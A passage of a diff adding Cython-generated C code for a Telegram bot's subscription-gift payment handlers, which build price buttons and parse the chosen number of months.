__pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (__pyx_t_15) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_14 = __pyx_n_u__14; + } else { + __pyx_t_17 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_months); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (!__pyx_t_19) { + } else { + __pyx_t_18 = __pyx_t_19; + goto __pyx_L6_bool_binop_done; + } + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + if (!__pyx_t_19) { + } else { + __pyx_t_18 = __pyx_t_19; + goto __pyx_L6_bool_binop_done; + } + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_18 = __pyx_t_19; + __pyx_L6_bool_binop_done:; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_19 = __pyx_t_18; + if (__pyx_t_19) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_16 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_16 = __pyx_n_u__16; + } + __pyx_t_14 = __pyx_t_16; + __pyx_t_16 = 0; + } + __pyx_t_16 = __Pyx_PyUnicode_Unicode(__pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_11, 3, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__23); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 4; + __Pyx_GIVEREF(__pyx_kp_u__23); + PyTuple_SET_ITEM(__pyx_t_11, 4, __pyx_kp_u__23); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_11, 5, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__24); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 7; + __Pyx_GIVEREF(__pyx_kp_u__24); + PyTuple_SET_ITEM(__pyx_t_11, 6, __pyx_kp_u__24); + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_11, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + + /* "handlers/payments/gift.py":86 + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", # <<<<<<<<<<<<<< + * ) + * ) + */ + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_gift_2, __pyx_t_16); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/gift.py":84 + * for months, price in RENEWAL_PRICES.items(): + * builder.row( + * types.InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", + * callback_data=f"gift|{months}", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":90 + * ) + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":92 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":93 + * + * await callback_query.message.answer( + * text=" :", reply_markup=builder.as_markup() # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_b_b_3) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":92 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 92, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 92, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("gift_subscription_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_9confirm_gift_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\200\320\276\320\272\320\260 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_10confirm_gift_handler = {"confirm_gift_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_9confirm_gift_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_10confirm_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("confirm_gift_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 97, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 97, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "confirm_gift_handler") < 0)) __PYX_ERR(0, 97, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_session = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 97, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("confirm_gift_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 97, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_11generator3, __pyx_codeobj__25, (PyObject *) __pyx_cur_scope, __pyx_n_s_confirm_gift_handler, __pyx_n_s_confirm_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + Py_ssize_t __pyx_t_10; + Py_UCS4 __pyx_t_11; + int __pyx_t_12; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("confirm_gift_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L12_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) + + /* "handlers/payments/gift.py":100 + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< + * price = RENEWAL_PRICES.get(selected_months, None) + * user_tg_id = callback_query.from_user.id + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__26}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":101 + * """ .""" + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< + * user_tg_id = callback_query.from_user.id + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_price = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":102 + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) + * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * if not price: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if 